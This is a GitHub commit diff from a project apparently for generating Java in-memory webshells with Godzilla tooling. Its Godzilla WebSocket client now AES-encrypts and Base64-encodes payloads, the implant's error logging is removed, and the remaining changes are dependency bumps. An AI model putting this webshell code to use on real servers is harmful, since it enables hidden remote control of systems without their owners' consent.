Skip to content

Commit 22ea6ae

Browse files
ReaJasonReaJason
committed
fix
1 parent 82aee3b commit 22ea6ae

File tree

5 files changed

+45
-42
lines changed

5 files changed

+45
-42
lines changed

‎integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -54,9 +54,9 @@ public static Stream<Arguments> getTestCases(String imageName,
5454
}
5555
return toolSupportedShellTypes.stream().flatMap(supportedShellType -> {
5656
if (supportedShellType.startsWith(ShellType.AGENT)) {
57-
if (!unSupported.contains(supportedShellType + supportedShellTool + Packers.AgentJarWithJDKAttacher)) {
57+
if (!unSupported.contains(supportedShellType + supportedShellTool + Packers.AgentJar)) {
5858
return Stream.of(
59-
arguments(imageName, supportedShellType, supportedShellTool, Packers.AgentJarWithJREAttacher)
59+
arguments(imageName, supportedShellType, supportedShellTool, Packers.AgentJar)
6060
);
6161
}
6262
return Stream.empty();

‎memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java‎

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,6 @@ public void onMessage(String message) {
6060
session.getBasicRemote().sendText(base64Encode(x(bos.toByteArray(), true)));
6161
}
6262
} catch (Throwable e) {
63-
e.printStackTrace();
6463
try {
6564
session.close();
6665
} catch (java.io.IOException ignored) {

‎tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java‎

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -196,7 +196,9 @@ public boolean start() {
196196
}
197197
if (isWs()) {
198198
try {
199-
BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes));
199+
byte[] aes = aes(this.key, bytes, true);
200+
String base64String = Base64.encodeBase64String(aes);
201+
BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
200202
return true;
201203
} catch (Exception e) {
202204
e.printStackTrace();
@@ -226,8 +228,10 @@ public boolean test() {
226228
}
227229

228230
if (isWs()) {
229-
byte[] bytes1 = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes));
230-
byte[] x = aes(key, bytes1, false);
231+
byte[] aes = aes(this.key, bytes, true);
232+
String base64String = Base64.encodeBase64String(aes);
233+
String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
234+
byte[] x = aes(key, Base64.decodeBase64(response), false);
231235
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
232236
return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
233237
}

‎web/bun.lockb‎

400 Bytes
Binary file not shown.

‎web/package.json‎

Lines changed: 36 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -15,61 +15,61 @@
1515
},
1616
"devDependencies": {
1717
"@biomejs/biome": "1.9.4",
18-
"@types/node": "^22.15.17",
19-
"@types/react": "^19.1.4",
18+
"@types/node": "^22.15.21",
19+
"@types/react": "^19.1.5",
2020
"@types/react-copy-to-clipboard": "^5.0.7",
2121
"@types/react-dom": "^19.1.5",
2222
"@types/react-syntax-highlighter": "^15.5.13",
2323
"@vitejs/plugin-react": "^4.4.1",
2424
"rimraf": "^6.0.1",
25-
"tailwindcss": "^4.1.6",
25+
"tailwindcss": "^4.1.7",
2626
"typescript": "^5.8.3",
2727
"vite": "^6.3.5",
2828
"vite-bundle-visualizer": "^1.2.1"
2929
},
3030
"dependencies": {
3131
"@hookform/resolvers": "^5.0.1",
32-
"@radix-ui/react-accordion": "^1.2.10",
33-
"@radix-ui/react-alert-dialog": "^1.1.13",
34-
"@radix-ui/react-aspect-ratio": "^1.1.6",
35-
"@radix-ui/react-avatar": "^1.1.9",
36-
"@radix-ui/react-checkbox": "^1.3.1",
37-
"@radix-ui/react-collapsible": "^1.1.10",
38-
"@radix-ui/react-context-menu": "^2.2.14",
39-
"@radix-ui/react-dialog": "^1.1.13",
40-
"@radix-ui/react-dropdown-menu": "^2.1.14",
41-
"@radix-ui/react-hover-card": "^1.1.13",
42-
"@radix-ui/react-label": "^2.1.6",
43-
"@radix-ui/react-menubar": "^1.1.14",
44-
"@radix-ui/react-navigation-menu": "^1.2.12",
45-
"@radix-ui/react-popover": "^1.1.13",
46-
"@radix-ui/react-progress": "^1.1.6",
47-
"@radix-ui/react-radio-group": "^1.3.6",
48-
"@radix-ui/react-scroll-area": "^1.2.8",
49-
"@radix-ui/react-select": "^2.2.4",
50-
"@radix-ui/react-separator": "^1.1.6",
51-
"@radix-ui/react-slider": "^1.3.4",
52-
"@radix-ui/react-slot": "^1.2.2",
53-
"@radix-ui/react-switch": "^1.2.4",
54-
"@radix-ui/react-tabs": "^1.1.11",
55-
"@radix-ui/react-toggle": "^1.1.8",
56-
"@radix-ui/react-toggle-group": "^1.1.9",
57-
"@radix-ui/react-tooltip": "^1.2.6",
58-
"@tailwindcss/vite": "^4.1.6",
59-
"@tanstack/react-query": "^5.76.0",
32+
"@radix-ui/react-accordion": "^1.2.11",
33+
"@radix-ui/react-alert-dialog": "^1.1.14",
34+
"@radix-ui/react-aspect-ratio": "^1.1.7",
35+
"@radix-ui/react-avatar": "^1.1.10",
36+
"@radix-ui/react-checkbox": "^1.3.2",
37+
"@radix-ui/react-collapsible": "^1.1.11",
38+
"@radix-ui/react-context-menu": "^2.2.15",
39+
"@radix-ui/react-dialog": "^1.1.14",
40+
"@radix-ui/react-dropdown-menu": "^2.1.15",
41+
"@radix-ui/react-hover-card": "^1.1.14",
42+
"@radix-ui/react-label": "^2.1.7",
43+
"@radix-ui/react-menubar": "^1.1.15",
44+
"@radix-ui/react-navigation-menu": "^1.2.13",
45+
"@radix-ui/react-popover": "^1.1.14",
46+
"@radix-ui/react-progress": "^1.1.7",
47+
"@radix-ui/react-radio-group": "^1.3.7",
48+
"@radix-ui/react-scroll-area": "^1.2.9",
49+
"@radix-ui/react-select": "^2.2.5",
50+
"@radix-ui/react-separator": "^1.1.7",
51+
"@radix-ui/react-slider": "^1.3.5",
52+
"@radix-ui/react-slot": "^1.2.3",
53+
"@radix-ui/react-switch": "^1.2.5",
54+
"@radix-ui/react-tabs": "^1.1.12",
55+
"@radix-ui/react-toggle": "^1.1.9",
56+
"@radix-ui/react-toggle-group": "^1.1.10",
57+
"@radix-ui/react-tooltip": "^1.2.7",
58+
"@tailwindcss/vite": "^4.1.7",
59+
"@tanstack/react-query": "^5.76.1",
6060
"class-variance-authority": "^0.7.1",
6161
"clsx": "^2.1.1",
6262
"cmdk": "^1.1.1",
6363
"date-fns": "^4.1.0",
6464
"embla-carousel-react": "^8.6.0",
65-
"i18next": "^25.1.2",
65+
"i18next": "^25.2.0",
6666
"input-otp": "^1.4.2",
67-
"lucide-react": "^0.510.0",
67+
"lucide-react": "^0.511.0",
6868
"react": "^19.1.0",
6969
"react-copy-to-clipboard": "^5.1.0",
70-
"react-day-picker": "9.6.7",
70+
"react-day-picker": "9.7.0",
7171
"react-dom": "^19.1.0",
72-
"react-hook-form": "^7.56.3",
72+
"react-hook-form": "^7.56.4",
7373
"react-i18next": "^15.5.1",
7474
"react-resizable-panels": "^3.0.2",
7575
"react-router": "^7.6.0",
@@ -81,7 +81,7 @@
8181
"tailwind-scrollbar": "^4.0.2",
8282
"tailwindcss-animate": "^1.0.7",
8383
"vaul": "^1.1.2",
84-
"zod": "^3.24.4"
84+
"zod": "^3.25.20"
8585
},
8686
"trustedDependencies": ["@biomejs/biome"]
8787
}

0 commit comments

Comments
 (0)